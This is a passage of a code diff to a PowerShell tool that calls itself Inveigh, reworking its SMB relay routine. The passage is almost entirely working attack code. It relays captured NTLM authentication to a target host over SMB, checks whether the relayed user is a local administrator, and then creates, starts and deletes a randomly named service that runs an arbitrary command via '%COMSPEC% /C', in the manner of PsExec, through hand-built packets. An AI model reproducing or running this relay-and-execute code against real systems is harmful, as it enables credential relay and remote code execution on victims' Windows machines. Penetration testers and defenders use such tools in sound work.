0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00 + - $SMB_service_byte_count_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c, - 0x00 + - $SMB_context_handler + - 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00 + - $SMB_referent_ID_bytes + - 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00 + - $SMB_relay_command_length_bytes + - 0x00,0x00,0x00,0x00 + - $SMB_relay_command_length_bytes + - $SMB_relay_command_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00 - - $SMB_multiplex_id = 0x09 - } - - 7 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - - 8 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x34,0x00,0x00,0x00,0x34,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00, - 0x00,0x00,0x00,0x13,0x00 + - $SMB_context_handler + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - } - - 9 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 10 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x2c,0x00,0x00,0x00,0x2c,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00, - 0x00,0x00,0x00,0x02,0x00 + - $SMB_context_handler - } - - 11 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - + $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00-00-00' + $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - - $SMB_relay_execute_stream.Write($SMB_relay_execute_send,0,$SMB_relay_execute_send.Length) - $SMB_relay_execute_stream.Flush() - - if($SMBRelayNetworkTimeout) + else { - $SMB_relay_execute_timeout = New-Timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_execute_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_execute_stream.DataAvailable) - { + $SMB_service = $Service + $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($Service) - if($SMB_relay_execute_stopwatch.Elapsed -ge $SMB_relay_execute_timeout) - { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $SMB_relay_failed = $true - break SMB_relay_execute_loop - } - - } - - } - - if ($k -eq 5) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - $SMB_context_handler = $SMB_relay_execute_bytes[88..107] - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + if([Bool]($SMB_service.Length % 2)) { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")]) - } - elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - $SMB_relay_failed = $true + $SMB_service_bytes += 0x00,0x00 } else { - $SMB_relay_failed = $true + $SMB_service_bytes += 0x00,0x00,0x00,0x00 + } } - elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11)) + + $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) + $Command = "%COMSPEC% /C `"" + $Command + "`"" + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$PsExec_command += "{0:X2}-00-" -f $_} + + if([Bool]($Command.Length % 2)) { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - - switch($k) - { - - 7 - { - $SMB_context_handler = $SMB_relay_execute_bytes[92..111] - $SMB_relay_execute_error_message = "Service creation fault context mismatch" - } - - 11 - { - $SMB_relay_execute_error_message = "Service start fault context mismatch" - } - - 13 - { - $SMB_relay_execute_error_message = "Service deletion fault context mismatch" - } - - } - - if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00') - { - $SMB_relay_failed = $true - } - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c') - { - $inveigh.console_queue.Add("$SMB_relay_execute_error_message service on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")]) - $SMB_relay_failed = $true - } - - } + $PsExec_command += '00-00' + } else { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) - } - - if(!$SMB_relay_failed -and $k -eq 7) + $PsExec_command += '00-00-00-00' + } + + $PsExec_command_bytes = $PsExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $PsExec_command_length_bytes = [System.BitConverter]::GetBytes($PsExec_command_bytes.Length / 2) + + $SMB_path = "\\" + $Target + "\IPC$" + + if($SMB_version -eq 'SMB1') { - $inveigh.console_queue.Add("SMB relay service $SMB_service created on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget")]) + $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 } - elseif((!$SMB_relay_failed) -and ($k -eq 9)) + else { - $inveigh.console_queue.Add("SMB relay command likely executed on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")]) - - if($SMBRelayAutoDisable -eq 'Y') + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + } + + $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + $SMB_client_stream = $SMB_relay_socket.GetStream() + $SMB_split_index = 4256 + + if($SMB_version -eq 'SMB1') + { + $SMB_client_stage = 'TreeConnectAndXRequest' + + :SMB_execute_loop while ($SMB_client_stage -ne 'Exit') { - $inveigh.SMB_relay = $false - $inveigh.console_queue.Add("SMB relay auto disabled due to success") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success")]) + + switch ($SMB_client_stage) + { + + 'TreeConnectAndXRequest' + { + $packet_SMB_header = Get-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBTreeConnectAndXRequest $SMB_path_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'CreateAndXRequest' + } + + 'CreateAndXRequest' + { + $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl + $SMB_tree_ID = $SMB_client_receive[28,29] + $packet_SMB_header = Get-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_FID = $SMB_client_receive[42,43] + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadAndXRequest' + { + Start-Sleep -m 150 + $packet_SMB_header = Get-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBReadAndXRequest + $packet_SMB_data["SMBReadAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = $SMB_client_stage_next + } + + 'OpenSCManagerW' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + $SMB_service_manager_context_handle = $SMB_client_receive[88..107] + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + } + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') + { + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + $SMB_relay_failed = $true + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + } + + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CreateServiceW' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") + $inveigh.log_file_queue.Add("Trying to execute SMB relay command on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") + $inveigh.log.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") + } + + $inveigh.console_queue.Add("SMB relay service $SMB_service created on $Target") + $inveigh.console_queue.Add("Trying to execute SMB relay command on $Target") + $SMB_service_context_handle = $SMB_client_receive[92..111] + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') + { + $inveigh.console_queue.Add("SMB relay service $SMB_service creation failed on $Target") + $SMB_relay_failed = $true + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") + } + + } + else + { + $SMB_relay_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') + { + $inveigh.console_queue.Add("SMB relay command executed on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') + { + $inveigh.console_queue.Add("SMB relay service $SMB_service failed to start on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service failed to start on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service failed to start on $Target") + } + + } + + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $Target") + $SMB_close_service_handle_stage++ + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") + } + + } + else + { + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + } + 